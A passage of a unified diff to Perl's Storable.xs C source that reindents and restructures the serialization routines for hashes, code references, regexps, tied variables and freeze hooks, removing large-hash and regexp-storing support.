- marked as having key flags. We just - cross our fingers and drop the flag. - AMS 20030901 */ - assert (flags == 0 || flags == SHV_K_WASUTF8); - TRACEME(("(#%d) key '%s'", (int)i, key)); - } - if (flags & SHV_K_ISSV) { - int ret; - if ((ret = store(aTHX_ cxt, key_sv))) - goto out; - } else { - WLEN(len); - if (len) - WRITE(key, len); - } -#endif - } - } - - TRACEME(("ok (hash 0x%" UVxf ")", PTR2UV(hv))); - - out: - if (cxt->entry && cxt->recur_sv == (SV*)hv && cxt->recur_depth > 0) { - TRACEME(("recur_depth --%" IVdf , cxt->recur_depth)); - --cxt->recur_depth; - } - HvRITER_set(hv, riter); /* Restore hash iterator state */ - HvEITER_set(hv, eiter); - - return ret; -} - -static int store_hentry(pTHX_ - stcxt_t *cxt, HV* hv, UV i, HE *he, unsigned char hash_flags) -{ - int ret = 0; - SV* val = hv_iterval(hv, he); - int flagged_hash = ((SvREADONLY(hv) + HE *he = hv_iternext(hv); +#endif + SV *val = (he ? hv_iterval(hv, he) : 0); + SV *key_sv = NULL; + HEK *hek; + + if (val == 0) + return 1; /* Internal error, not I/O error */ + + /* Implementation of restricted hashes isn't nicely + abstracted: */ + flags + = (((hash_flags & SHV_RESTRICTED) + && SvTRULYREADONLY(val)) + ? SHV_K_LOCKED : 0); + + if (val == &PL_sv_placeholder) { + flags |= SHV_K_PLACEHOLDER; + val = &PL_sv_undef; + } + + /* + * Store value first. + */ + + TRACEME(("(#%d) value 0x%" UVxf, i, PTR2UV(val))); + + if ((ret = store(aTHX_ cxt, val))) /* Extra () for -Wall, grr... */ + goto out; + + + hek = HeKEY_hek(he); + len = HEK_LEN(hek); + if (len == HEf_SVKEY) { + /* This is somewhat sick, but the internal APIs are + * such that XS code could put one of these in in + * a regular hash. + * Maybe we should be capable of storing one if + * found. + */ + key_sv = HeKEY_sv(he); + flags |= SHV_K_ISSV; + } else { + /* Regular string key. */ #ifdef HAS_HASH_KEY_FLAGS - || HvHASKFLAGS(hv) -#endif - ) ? 1 : 0); - unsigned char flags = (((hash_flags & SHV_RESTRICTED) - && SvTRULYREADONLY(val)) - ? SHV_K_LOCKED : 0); -#ifndef DEBUGME - PERL_UNUSED_ARG(i); -#endif - if (val == &PL_sv_placeholder) { - flags |= SHV_K_PLACEHOLDER; - val = &PL_sv_undef; - } - - /* - * Store value first. - */ - - TRACEME(("(#%d) value 0x%" UVxf, (int)i, PTR2UV(val))); - - { - HEK* hek = HeKEY_hek(he); - I32 len = HEK_LEN(hek); - SV *key_sv = NULL; - char *key = 0; - - if ((ret = store(aTHX_ cxt, val))) - return ret; - if (len == HEf_SVKEY) { - key_sv = HeKEY_sv(he); - flags |= SHV_K_ISSV; - } else { - /* Regular string key. */ -#ifdef HAS_HASH_KEY_FLAGS - if (HEK_UTF8(hek)) - flags |= SHV_K_UTF8; - if (HEK_WASUTF8(hek)) - flags |= SHV_K_WASUTF8; -#endif - key = HEK_KEY(hek); - } - /* - * Write key string. - * Keys are written after values to make sure retrieval - * can be optimal in terms of memory usage, where keys are - * read into a fixed unique buffer called kbuf. - * See retrieve_hash() for details. - */ - - if (flagged_hash) { - PUTMARK(flags); - TRACEME(("(#%d) key '%s' flags %x", (int)i, key, flags)); - } else { - /* This is a workaround for a bug in 5.8.0 - that causes the HEK_WASUTF8 flag to be - set on an HEK without the hash being - marked as having key flags. We just - cross our fingers and drop the flag. - AMS 20030901 */ - assert (flags == 0 || flags == SHV_K_WASUTF8); - TRACEME(("(#%d) key '%s'", (int)i, key)); - } - if (flags & SHV_K_ISSV) { - if ((ret = store(aTHX_ cxt, key_sv))) - return ret; - } else { - WLEN(len); - if (len) - WRITE(key, len); - } - } - return ret; -} - - -#ifdef HAS_U64 -/* - * store_lhash - * - * Store a overlong hash table, with >2G keys, which we cannot iterate - * over with perl5. xhv_eiter is only I32 there. (only cperl can) - * and we also do not want to sort it. - * So we walk the buckets and chains manually. - * - * type, len and flags are already written. - */ - -static int store_lhash(pTHX_ stcxt_t *cxt, HV *hv, unsigned char hash_flags) -{ - dVAR; - int ret = 0; - Size_t i; - UV ix = 0; - HE** array; -#ifdef DEBUGME - UV len = (UV)HvTOTALKEYS(hv); -#endif - if (hash_flags) { - TRACEME(("store_lhash (0x%" UVxf ") (flags %x)", PTR2UV(hv), - (int) hash_flags)); - } else { - TRACEME(("store_lhash (0x%" UVxf ")", PTR2UV(hv))); - } - TRACEME(("size = %" UVuf ", used = %" UVuf, len, (UV)HvUSEDKEYS(hv))); - - TRACEME(("recur_depth %" IVdf ", recur_sv (0x%" UVxf ")", cxt->recur_depth, - PTR2UV(cxt->recur_sv))); - if (cxt->entry && cxt->recur_sv == (SV*)hv) { - if (RECURSION_TOO_DEEP_HASH()) { -#if PERL_VERSION < 15 - cleanup_recursive_data(aTHX_ (SV*)hv); -#endif - CROAK((MAX_DEPTH_ERROR)); - } - } - cxt->recur_sv = (SV*)hv; - - array = HvARRAY(hv); - for (i = 0; i <= (Size_t)HvMAX(hv); i++) { - HE* entry = array[i]; - if (!entry) continue; - if ((ret = store_hentry(aTHX_ cxt, hv, ix++, entry, hash_flags))) - return ret; - while ((entry = HeNEXT(entry))) { - if ((ret = store_hentry(aTHX_ cxt, hv, ix++, entry, hash_flags))) - return ret; - } - } - if (cxt->entry && cxt->recur_sv == (SV*)hv && cxt->recur_depth > 0) { - TRACEME(("recur_depth --%" IVdf, cxt->recur_depth)); - --cxt->recur_depth; - } - assert(ix == len); - return ret; + if (HEK_UTF8(hek)) + flags |= SHV_K_UTF8; + if (HEK_WASUTF8(hek)) + flags |= SHV_K_WASUTF8; +#endif + key = HEK_KEY(hek); + } + /* + * Write key string. + * Keys are written after values to make sure retrieval + * can be optimal in terms of memory usage, where keys are + * read into a fixed unique buffer called kbuf. + * See retrieve_hash() for details. + */ + + if (flagged_hash) { + PUTMARK(flags); + TRACEME(("(#%d) key '%s' flags %x", i, key, flags)); + } else { + /* This is a workaround for a bug in 5.8.0 + that causes the HEK_WASUTF8 flag to be + set on an HEK without the hash being + marked as having key flags. We just + cross our fingers and drop the flag. + AMS 20030901 */ + assert (flags == 0 || flags == SHV_K_WASUTF8); + TRACEME(("(#%d) key '%s'", i, key)); + } + if (flags & SHV_K_ISSV) { + int ret; + if ((ret = store(aTHX_ cxt, key_sv))) + goto out; + } else { + WLEN(len); + if (len) + WRITE(key, len); + } + } + } + + TRACEME(("ok (hash 0x%" UVxf ")", PTR2UV(hv))); + +out: + HvRITER_set(hv, riter); /* Restore hash iterator state */ + HvEITER_set(hv, eiter); + + return ret; } -#endif /* * store_code @@ -3273,183 +2698,102 @@ static int store_code(pTHX_ stcxt_t *cxt, CV *cv) { #if PERL_VERSION < 6 /* - * retrieve_code does not work with perl 5.005 or less - */ - return store_other(aTHX_ cxt, (SV*)cv); + * retrieve_code does not work with perl 5.005 or less + */ + return store_other(aTHX_ cxt, (SV*)cv); #else - dSP; - STRLEN len; - STRLEN count, reallen; - SV *text, *bdeparse; + dSP; + I32 len; + int count, reallen; + SV *text, *bdeparse; - TRACEME(("store_code (0x%" UVxf ")", PTR2UV(cv))); + TRACEME(("store_code (0x%" UVxf ")", PTR2UV(cv))); - if ( - cxt->deparse == 0 || - (cxt->deparse < 0 && - !(cxt->deparse = - SvTRUE(get_sv("Storable::Deparse", GV_ADD)) ? 1 : 0)) + if ( + cxt->deparse == 0 || + (cxt->deparse < 0 && !(cxt->deparse = + SvTRUE(perl_get_sv("Storable::Deparse", GV_ADD)) ? 1 : 0)) ) { - return store_other(aTHX_ cxt, (SV*)cv); - } - - /* - * Require B::Deparse. At least B::Deparse 0.61 is needed for - * blessed code references. - */ - /* Ownership of both SVs is passed to load_module, which frees them. */ - load_module(PERL_LOADMOD_NOIMPORT, newSVpvs("B::Deparse"), newSVnv(0.61)); - SPAGAIN; - - ENTER; - SAVETMPS; - - /* - * create the B::Deparse object - */ - - PUSHMARK(sp); - XPUSHs(newSVpvs_flags("B::Deparse", SVs_TEMP)); - PUTBACK; - count = call_method("new", G_SCALAR); - SPAGAIN; - if (count != 1) - CROAK(("Unexpected return value from B::Deparse::new\n")); - bdeparse = POPs; - - /* - * call the coderef2text method - */ - - PUSHMARK(sp); - XPUSHs(bdeparse); /* XXX is this already mortal? */ - XPUSHs(sv_2mortal(newRV_inc((SV*)cv))); - PUTBACK; - count = call_method("coderef2text", G_SCALAR); - SPAGAIN; - if (count != 1) - CROAK(("Unexpected return value from B::Deparse::coderef2text\n")); - - text = POPs; - len = SvCUR(text); - reallen = strlen(SvPV_nolen(text)); - - /* - * Empty code references or XS functions are deparsed as - * "(prototype) ;" or ";". - */ + return store_other(aTHX_ cxt, (SV*)cv); + } - if (len == 0 || *(SvPV_nolen(text)+reallen-1) == ';') { - CROAK(("The result of B::Deparse::coderef2text was empty - maybe you're trying to serialize an XS function?\n")); - } + /* + * Require B::Deparse. At least B::Deparse 0.61 is needed for + * blessed code references. + */ + /* Ownership of both SVs is passed to load_module, which frees them. */ + load_module(PERL_LOADMOD_NOIMPORT, newSVpvs("B::Deparse"), newSVnv(0.61)); + SPAGAIN; + + ENTER; + SAVETMPS; + + /* + * create the B::Deparse object + */ + + PUSHMARK(sp); + XPUSHs(newSVpvs_flags("B::Deparse", SVs_TEMP)); + PUTBACK; + count = call_method("new", G_SCALAR); + SPAGAIN; + if (count != 1) + CROAK(("Unexpected return value from B::Deparse::new\n")); + bdeparse = POPs; + + /* + * call the coderef2text method + */ + + PUSHMARK(sp); + XPUSHs(bdeparse); /* XXX is this already mortal? */ + XPUSHs(sv_2mortal(newRV_inc((SV*)cv))); + PUTBACK; + count = call_method("coderef2text", G_SCALAR); + SPAGAIN; + if (count != 1) + CROAK(("Unexpected return value from B::Deparse::coderef2text\n")); + + text = POPs; + len = SvCUR(text); + reallen = strlen(SvPV_nolen(text)); + + /* + * Empty code references or XS functions are deparsed as + * "(prototype) ;" or ";". + */ + + if (len == 0 || *(SvPV_nolen(text)+reallen-1) == ';') { + CROAK(("The result of B::Deparse::coderef2text was empty - maybe you're trying to serialize an XS function?\n")); + } - /* - * Signal code by emitting SX_CODE. - */ + /* + * Signal code by emitting SX_CODE. + */ - PUTMARK(SX_CODE); - cxt->tagnum++; /* necessary, as SX_CODE is a SEEN() candidate */ - TRACEME(("size = %d", (int)len)); - TRACEME(("code = %s", SvPV_nolen(text))); + PUTMARK(SX_CODE); + cxt->tagnum++; /* necessary, as SX_CODE is a SEEN() candidate */ + TRACEME(("size = %d", len)); + TRACEME(("code = %s", SvPV_nolen(text))); - /* - * Now store the source code. - */ + /* + * Now store the source code. + */ - if(SvUTF8 (text)) - STORE_UTF8STR(SvPV_nolen(text), len); - else - STORE_SCALAR(SvPV_nolen(text), len); + if(SvUTF8 (text)) + STORE_UTF8STR(SvPV_nolen(text), len); + else + STORE_SCALAR(SvPV_nolen(text), len); - FREETMPS; - LEAVE; + FREETMPS; + LEAVE; - TRACEME(("ok (code)")); + TRACEME(("ok (code)")); - return 0; + return 0; #endif } -#if PERL_VERSION < 8 -# define PERL_MAGIC_qr 'r' /* precompiled qr// regex */ -# define BFD_Svs_SMG_OR_RMG SVs_RMG -#elif ((PERL_VERSION==8) && (PERL_SUBVERSION >= 1) || (PERL_VERSION>8)) -# define BFD_Svs_SMG_OR_RMG SVs_SMG -# define MY_PLACEHOLDER PL_sv_placeholder -#else -# define BFD_Svs_SMG_OR_RMG SVs_RMG -# define MY_PLACEHOLDER PL_sv_undef -#endif - -static int get_regexp(pTHX_ stcxt_t *cxt, SV* sv, SV **re, SV **flags) { - dSP; - SV* rv; -#if PERL_VERSION >= 12 - CV *cv = get_cv("re::regexp_pattern", 0); -#else - CV *cv = get_cv("Storable::_regexp_pattern", 0); -#endif - I32 count; - - assert(cv); - - ENTER; - SAVETMPS; - rv = sv_2mortal((SV*)newRV_inc(sv)); - PUSHMARK(sp); - XPUSHs(rv); - PUTBACK; - /* optimize to call the XS directly later */ - count = call_sv((SV*)cv, G_ARRAY); - SPAGAIN; - if (count < 2) - CROAK(("re::regexp_pattern returned only %d results", count)); - *flags = POPs; - SvREFCNT_inc(*flags); - *re = POPs; - SvREFCNT_inc(*re); - - PUTBACK; - FREETMPS; - LEAVE; - - return 1; -} - -static int store_regexp(pTHX_ stcxt_t *cxt, SV *sv) { - SV *re = NULL; - SV *flags = NULL; - const char *re_pv; - const char *flags_pv; - STRLEN re_len; - STRLEN flags_len; - U8 op_flags = 0; - - if (!get_regexp(aTHX_ cxt, sv, &re, &flags)) - return -1; - - re_pv = SvPV(re, re_len); - flags_pv = SvPV(flags, flags_len); - - if (re_len > 0xFF) { - op_flags |= SHR_U32_RE_LEN; - } - - PUTMARK(SX_REGEXP); - PUTMARK(op_flags); - if (op_flags & SHR_U32_RE_LEN) { - U32 re_len32 = re_len; - WLEN(re_len32); - } - else - PUTMARK(re_len); - WRITE(re_pv, re_len); - PUTMARK(flags_len); - WRITE(flags_pv, flags_len); - - return 0; -} - /* * store_tied * @@ -3460,61 +2804,61 @@ static int store_regexp(pTHX_ stcxt_t *cxt, SV *sv) { */ static int store_tied(pTHX_ stcxt_t *cxt, SV *sv) { - MAGIC *mg; - SV *obj = NULL; - int ret = 0; - int svt = SvTYPE(sv); - char mtype = 'P'; - - TRACEME(("store_tied (0x%" UVxf ")", PTR2UV(sv))); - - /* - * We have a small run-time penalty here because we chose to factorise - * all tieds objects into the same routine, and not have a store_tied_hash, - * a store_tied_array, etc... - * - * Don't use a switch() statement, as most compilers don't optimize that - * well for 2/3 values. An if() else if() cascade is just fine. We put - * tied hashes first, as they are the most likely beasts. - */ - - if (svt == SVt_PVHV) { - TRACEME(("tied hash")); - PUTMARK(SX_TIED_HASH); /* Introduces tied hash */ - } else if (svt == SVt_PVAV) { - TRACEME(("tied array")); - PUTMARK(SX_TIED_ARRAY); /* Introduces tied array */ - } else { - TRACEME(("tied scalar")); - PUTMARK(SX_TIED_SCALAR); /* Introduces tied scalar */ - mtype = 'q'; - } - - if (!(mg = mg_find(sv, mtype))) - CROAK(("No magic '%c' found while storing tied %s", mtype, - (svt == SVt_PVHV) ? "hash" : - (svt == SVt_PVAV) ? "array" : "scalar")); - - /* - * The mg->mg_obj found by mg_find() above actually points to the - * underlying tied Perl object implementation. For instance, if the - * original SV was that of a tied array, then mg->mg_obj is an AV. - * - * Note that we store the Perl object as-is. We don't call its FETCH - * method along the way. At retrieval time, we won't call its STORE - * method either, but the tieing magic will be re-installed. In itself, - * that ensures that the tieing semantics are preserved since further - * accesses on the retrieved object will indeed call the magic methods... - */ - - /* [#17040] mg_obj is NULL for scalar self-ties. AMS 20030416 */ - obj = mg->mg_obj ? mg->mg_obj : newSV(0); - if ((ret = store(aTHX_ cxt, obj))) - return ret; - - TRACEME(("ok (tied)")); + MAGIC *mg; + SV *obj = NULL; + int ret = 0; + int svt = SvTYPE(sv); + char mtype = 'P'; + + TRACEME(("store_tied (0x%" UVxf ")", PTR2UV(sv))); + + /* + * We have a small run-time penalty here because we chose to factorise + * all tieds objects into the same routine, and not have a store_tied_hash, + * a store_tied_array, etc... + * + * Don't use a switch() statement, as most compilers don't optimize that + * well for 2/3 values. An if() else if() cascade is just fine. We put + * tied hashes first, as they are the most likely beasts. + */ + + if (svt == SVt_PVHV) { + TRACEME(("tied hash")); + PUTMARK(SX_TIED_HASH); /* Introduces tied hash */ + } else if (svt == SVt_PVAV) { + TRACEME(("tied array")); + PUTMARK(SX_TIED_ARRAY); /* Introduces tied array */ + } else { + TRACEME(("tied scalar")); + PUTMARK(SX_TIED_SCALAR); /* Introduces tied scalar */ + mtype = 'q'; + } - return 0; + if (!(mg = mg_find(sv, mtype))) + CROAK(("No magic '%c' found while storing tied %s", mtype, + (svt == SVt_PVHV) ? "hash" : + (svt == SVt_PVAV) ? "array" : "scalar")); + + /* + * The mg->mg_obj found by mg_find() above actually points to the + * underlying tied Perl object implementation. For instance, if the + * original SV was that of a tied array, then mg->mg_obj is an AV. + * + * Note that we store the Perl object as-is. We don't call its FETCH + * method along the way. At retrieval time, we won't call its STORE + * method either, but the tieing magic will be re-installed. In itself, + * that ensures that the tieing semantics are preserved since further + * accesses on the retrieved object will indeed call the magic methods... + */ + + /* [#17040] mg_obj is NULL for scalar self-ties. AMS 20030416 */ + obj = mg->mg_obj ? mg->mg_obj : newSV(0); + if ((ret = store(aTHX_ cxt, obj))) + return ret; + + TRACEME(("ok (tied)")); + + return 0; } /* @@ -3531,48 +2875,51 @@ static int store_tied(pTHX_ stcxt_t *cxt, SV *sv) */ static int store_tied_item(pTHX_ stcxt_t *cxt, SV *sv) { - MAGIC *mg; - int ret; + MAGIC *mg; + int ret; - TRACEME(("store_tied_item (0x%" UVxf ")", PTR2UV(sv))); + TRACEME(("store_tied_item (0x%" UVxf ")", PTR2UV(sv))); - if (!(mg = mg_find(sv, 'p'))) - CROAK(("No magic 'p' found while storing reference to tied item")); + if (!(mg = mg_find(sv, 'p'))) + CROAK(("No magic 'p' found while storing reference to tied item")); - /* - * We discriminate between \$h{key} and \$a[idx] via mg_ptr. - */ + /* + * We discriminate between \$h{key} and \$a[idx] via mg_ptr. + */ - if (mg->mg_ptr) { - TRACEME(("store_tied_item: storing a ref to a tied hash item")); - PUTMARK(SX_TIED_KEY); - TRACEME(("store_tied_item: storing OBJ 0x%" UVxf, PTR2UV(mg->mg_obj))); + if (mg->mg_ptr) { + TRACEME(("store_tied_item: storing a ref to a tied hash item")); + PUTMARK(SX_TIED_KEY); + TRACEME(("store_tied_item: storing OBJ 0x%" UVxf, + PTR2UV(mg->mg_obj))); - if ((ret = store(aTHX_ cxt, mg->mg_obj))) /* Extra () for -Wall, grr... */ - return ret; + if ((ret = store(aTHX_ cxt, mg->mg_obj))) /* Extra () for -Wall, grr... */ + return ret; - TRACEME(("store_tied_item: storing PTR 0x%" UVxf, PTR2UV(mg->mg_ptr))); + TRACEME(("store_tied_item: storing PTR 0x%" UVxf, + PTR2UV(mg->mg_ptr))); - if ((ret = store(aTHX_ cxt, (SV *) mg->mg_ptr))) /* Idem, for -Wall */ - return ret; - } else { - I32 idx = mg->mg_len; + if ((ret = store(aTHX_ cxt, (SV *) mg->mg_ptr))) /* Idem, for -Wall */ + return ret; + } else { + I32 idx = mg->mg_len; - TRACEME(("store_tied_item: storing a ref to a tied array item ")); - PUTMARK(SX_TIED_IDX); - TRACEME(("store_tied_item: storing OBJ 0x%" UVxf, PTR2UV(mg->mg_obj))); + TRACEME(("store_tied_item: storing a ref to a tied array item ")); + PUTMARK(SX_TIED_IDX); + TRACEME(("store_tied_item: storing OBJ 0x%" UVxf, + PTR2UV(mg->mg_obj))); - if ((ret = store(aTHX_ cxt, mg->mg_obj))) /* Idem, for -Wall */ - return ret; + if ((ret = store(aTHX_ cxt, mg->mg_obj))) /* Idem, for -Wall */ + return ret; - TRACEME(("store_tied_item: storing IDX %d", (int)idx)); + TRACEME(("store_tied_item: storing IDX %d", idx)); - WLEN(idx); - } + WLEN(idx); + } - TRACEME(("ok (tied item)")); + TRACEME(("ok (tied item)")); - return 0; + return 0; } /* @@ -3621,469 +2968,417 @@ static int store_tied_item(pTHX_ stcxt_t *cxt, SV *sv) * any other tied variable. */ static int store_hook( - pTHX_ - stcxt_t *cxt, - SV *sv, - int type, - HV *pkg, - SV *hook) + pTHX_ + stcxt_t *cxt, + SV *sv, + int type, + HV *pkg, + SV *hook) { - I32 len; - char *classname; - STRLEN len2; - SV *ref; - AV *av; - SV **ary; - int count; /* really len3 + 1 */ - unsigned char flags; - char *pv; - int i; - int recursed = 0; /* counts recursion */ - int obj_type; /* object type, on 2 bits */ - I32 classnum; - int ret; - int clone = cxt->optype & ST_CLONE; - char mtype = '\0'; /* for blessed ref to tied structures */ - unsigned char eflags = '\0'; /* used when object type is SHT_EXTRA */ -#ifdef HAS_U64 - int need_large_oids = 0; -#endif - - TRACEME(("store_hook, classname \"%s\", tagged #%d", HvNAME_get(pkg), (int)cxt->tagnum)); - - /* - * Determine object type on 2 bits. - */ - - switch (type) { - case svis_REF: - case svis_SCALAR: - obj_type = SHT_SCALAR; - break; - case svis_ARRAY: - obj_type = SHT_ARRAY; - break; - case svis_HASH: - obj_type = SHT_HASH; - break; - case svis_TIED: - /* - * Produced by a blessed ref to a tied data structure, $o in the - * following Perl code. - * - * my %h; - * tie %h, 'FOO'; - * my $o = bless \%h, 'BAR'; - * - * Signal the tie-ing magic by setting the object type as SHT_EXTRA - * (since we have only 2 bits in to store the type), and an - * byte flag will be emitted after the FIRST in the - * stream, carrying what we put in 'eflags'. - */ - obj_type = SHT_EXTRA; - switch (SvTYPE(sv)) { - case SVt_PVHV: - eflags = (unsigned char) SHT_THASH; - mtype = 'P'; - break; - case SVt_PVAV: - eflags = (unsigned char) SHT_TARRAY; - mtype = 'P'; - break; - default: - eflags = (unsigned char) SHT_TSCALAR; - mtype = 'q'; - break; - } - break; - default: - CROAK(("Unexpected object type (%d) in store_hook()", type)); - } - flags = SHF_NEED_RECURSE | obj_type; - - classname = HvNAME_get(pkg); - len = strlen(classname); - - /* - * To call the hook, we need to fake a call like: - * - * $object->STORABLE_freeze($cloning); - * - * but we don't have the $object here. For instance, if $object is - * a blessed array, what we have in 'sv' is the array, and we can't - * call a method on those. - * - * Therefore, we need to create a temporary reference to the object and - * make the call on that reference. - */ - - TRACEME(("about to call STORABLE_freeze on class %s", classname)); - - ref = newRV_inc(sv); /* Temporary reference */ - av = array_call(aTHX_ ref, hook, clone); /* @a = $object->STORABLE_freeze($c) */ - SvREFCNT_dec(ref); /* Reclaim temporary reference */ - - count = AvFILLp(av) + 1; - TRACEME(("store_hook, array holds %d items", count)); - - /* - * If they return an empty list, it means they wish to ignore the - * hook for this class (and not just this instance -- that's for them - * to handle if they so wish). - * - * Simply disable the cached entry for the hook (it won't be recomputed - * since it's present in the cache) and recurse to store_blessed(). - */ - - if (!count) { - /* free empty list returned by the hook */ - av_undef(av); - sv_free((SV *) av); - - /* - * They must not change their mind in the middle of a serialization. - */ - - if (hv_fetch(cxt->hclass, classname, len, FALSE)) - CROAK(("Too late to ignore hooks for %s class \"%s\"", - (cxt->optype & ST_CLONE) ? "cloning" : "storing", - classname)); - - pkg_hide(aTHX_ cxt->hook, pkg, "STORABLE_freeze"); - - ASSERT(!pkg_can(aTHX_ cxt->hook, pkg, "STORABLE_freeze"), - ("hook invisible")); - TRACEME(("ignoring STORABLE_freeze in class \"%s\"", classname)); - - return store_blessed(aTHX_ cxt, sv, type, pkg); - } - - /* - * Get frozen string. - */ - - ary = AvARRAY(av); - pv = SvPV(ary[0], len2); - /* We can't use pkg_can here because it only caches one method per - * package */ - { - GV* gv = gv_fetchmethod_autoload(pkg, "STORABLE_attach", FALSE); - if (gv && isGV(gv)) { - if (count > 1) - CROAK(("Freeze cannot return references if %s class is using STORABLE_attach", classname)); - goto check_done; - } - } - -#ifdef HAS_U64 - if (count > I32_MAX) { - CROAK(("Too many references returned by STORABLE_freeze()")); - } -#endif - - /* - * If they returned more than one item, we need to serialize some - * extra references if not already done. - * - * Loop over the array, starting at position #1, and for each item, - * ensure it is a reference, serialize it if not already done, and - * replace the entry with the tag ID of the corresponding serialized - * object. - * - * We CHEAT by not calling av_fetch() and read directly within the - * array, for speed. - */ - - for (i = 1; i < count; i++) { -#ifdef USE_PTR_TABLE - char *fake_tag; -#else - SV **svh; -#endif - SV *rsv = ary[i]; - SV *xsv; - SV *tag; - AV *av_hook = cxt->hook_seen; - - if (!SvROK(rsv)) - CROAK(("Item #%d returned by STORABLE_freeze " - "for %s is not a reference", (int)i, classname)); - xsv = SvRV(rsv); /* Follow ref to know what to look for */ + I32 len; + char *classname; + STRLEN len2; + SV *ref; + AV *av; + SV **ary; + int count; /* really len3 + 1 */ + unsigned char flags; + char *pv; + int i; + int recursed = 0; /* counts recursion */ + int obj_type; /* object type, on 2 bits */ + I32 classnum; + int ret; + int clone = cxt->optype & ST_CLONE; + char mtype = '\0'; /* for blessed ref to tied structures */ + unsigned char eflags = '\0'; /* used when object type is SHT_EXTRA */ + + TRACEME(("store_hook, classname \"%s\", tagged #%d", HvNAME_get(pkg), cxt->tagnum)); + + /* + * Determine object type on 2 bits. + */ + + switch (type) { + case svis_REF: + case svis_SCALAR: + obj_type = SHT_SCALAR; + break; + case svis_ARRAY: + obj_type = SHT_ARRAY; + break; + case svis_HASH: + obj_type = SHT_HASH; + break; + case svis_TIED: + /* + * Produced by a blessed ref to a tied data structure, $o in the + * following Perl code. + * + * my %h; + * tie %h, 'FOO'; + * my $o = bless \%h, 'BAR'; + * + * Signal the tie-ing magic by setting the object type as SHT_EXTRA + * (since we have only 2 bits in to store the type), and an + * byte flag will be emitted after the FIRST in the + * stream, carrying what we put in 'eflags'. + */ + obj_type = SHT_EXTRA; + switch (SvTYPE(sv)) { + case SVt_PVHV: + eflags = (unsigned char) SHT_THASH; + mtype = 'P'; + break; + case SVt_PVAV: + eflags = (unsigned char) SHT_TARRAY; + mtype = 'P'; + break; + default: + eflags = (unsigned char) SHT_TSCALAR; + mtype = 'q'; + break; + } + break; + default: + CROAK(("Unexpected object type (%d) in store_hook()", type)); + } + flags = SHF_NEED_RECURSE | obj_type; + + classname = HvNAME_get(pkg); + len = strlen(classname); + + /* + * To call the hook, we need to fake a call like: + * + * $object->STORABLE_freeze($cloning); + * + * but we don't have the $object here. For instance, if $object is + * a blessed array, what we have in 'sv' is the array, and we can't + * call a method on those. + * + * Therefore, we need to create a temporary reference to the object and + * make the call on that reference. + */ + + TRACEME(("about to call STORABLE_freeze on class %s", classname)); + + ref = newRV_inc(sv); /* Temporary reference */ + av = array_call(aTHX_ ref, hook, clone); /* @a = $object->STORABLE_freeze($c) */ + SvREFCNT_dec(ref); /* Reclaim temporary reference */ + + count = AvFILLp(av) + 1; + TRACEME(("store_hook, array holds %d items", count)); + + /* + * If they return an empty list, it means they wish to ignore the + * hook for this class (and not just this instance -- that's for them + * to handle if they so wish). + * + * Simply disable the cached entry for the hook (it won't be recomputed + * since it's present in the cache) and recurse to store_blessed(). + */ + + if (!count) { + /* free empty list returned by the hook */ + av_undef(av); + sv_free((SV *) av); + + /* + * They must not change their mind in the middle of a serialization. + */ + + if (hv_fetch(cxt->hclass, classname, len, FALSE)) + CROAK(("Too late to ignore hooks for %s class \"%s\"", + (cxt->optype & ST_CLONE) ? "cloning" : "storing", classname)); + + pkg_hide(aTHX_ cxt->hook, pkg, "STORABLE_freeze"); + + ASSERT(!pkg_can(aTHX_ cxt->hook, pkg, "STORABLE_freeze"), ("hook invisible")); + TRACEME(("ignoring STORABLE_freeze in class \"%s\"", classname)); + + return store_blessed(aTHX_ cxt, sv, type, pkg); + } - /* - * Look in hseen and see if we have a tag already. - * Serialize entry if not done already, and get its tag. - */ + /* + * Get frozen string. + */ + + ary = AvARRAY(av); + pv = SvPV(ary[0], len2); + /* We can't use pkg_can here because it only caches one method per + * package */ + { + GV* gv = gv_fetchmethod_autoload(pkg, "STORABLE_attach", FALSE); + if (gv && isGV(gv)) { + if (count > 1) + CROAK(("Freeze cannot return references if %s class is using STORABLE_attach", classname)); + goto check_done; + } + } + /* + * If they returned more than one item, we need to serialize some + * extra references if not already done. + * + * Loop over the array, starting at position #1, and for each item, + * ensure it is a reference, serialize it if not already done, and + * replace the entry with the tag ID of the corresponding serialized + * object. + * + * We CHEAT by not calling av_fetch() and read directly within the + * array, for speed. + */ + + for (i = 1; i < count; i++) { #ifdef USE_PTR_TABLE - /* Fakery needed because ptr_table_fetch returns zero for a - failure, whereas the existing code assumes that it can - safely store a tag zero. So for ptr_tables we store tag+1 - */ - if ((fake_tag = (char *)ptr_table_fetch(cxt->pseen, xsv))) - goto sv_seen; /* Avoid moving code too far to the right */ + char *fake_tag; #else - if ((svh = hv_fetch(cxt->hseen, (char *) &xsv, sizeof(xsv), FALSE))) - goto sv_seen; /* Avoid moving code too far to the right */ -#endif - - TRACEME(("listed object %d at 0x%" UVxf " is unknown", i-1, - PTR2UV(xsv))); - - /* - * We need to recurse to store that object and get it to be known - * so that we can resolve the list of object-IDs at retrieve time. - * - * The first time we do this, we need to emit the proper header - * indicating that we recursed, and what the type of object is (the - * object we're storing via a user-hook). Indeed, during retrieval, - * we'll have to create the object before recursing to retrieve the - * others, in case those would point back at that object. - */ - - /* [SX_HOOK] [] */ - if (!recursed++) { -#ifdef HAS_U64 - if (len2 > INT32_MAX) - PUTMARK(SX_LOBJECT); -#endif - PUTMARK(SX_HOOK); - PUTMARK(flags); - if (obj_type == SHT_EXTRA) - PUTMARK(eflags); - } else - PUTMARK(flags); - - if ((ret = store(aTHX_ cxt, xsv))) /* Given by hook for us to store */ - return ret; - + SV **svh; +#endif + SV *rsv = ary[i]; + SV *xsv; + SV *tag; + AV *av_hook = cxt->hook_seen; + + if (!SvROK(rsv)) + CROAK(("Item #%d returned by STORABLE_freeze " + "for %s is not a reference", i, classname)); + xsv = SvRV(rsv); /* Follow ref to know what to look for */ + + /* + * Look in hseen and see if we have a tag already. + * Serialize entry if not done already, and get its tag. + */ + #ifdef USE_PTR_TABLE - fake_tag = (char *)ptr_table_fetch(cxt->pseen, xsv); - if (!fake_tag) - CROAK(("Could not serialize item #%d from hook in %s", - (int)i, classname)); + /* Fakery needed because ptr_table_fetch returns zero for a + failure, whereas the existing code assumes that it can + safely store a tag zero. So for ptr_tables we store tag+1 + */ + if ((fake_tag = (char *)ptr_table_fetch(cxt->pseen, xsv))) + goto sv_seen; /* Avoid moving code too far to the right */ #else - svh = hv_fetch(cxt->hseen, (char *) &xsv, sizeof(xsv), FALSE); - if (!svh) - CROAK(("Could not serialize item #%d from hook in %s", - (int)i, classname)); -#endif - /* - * It was the first time we serialized 'xsv'. - * - * Keep this SV alive until the end of the serialization: if we - * disposed of it right now by decrementing 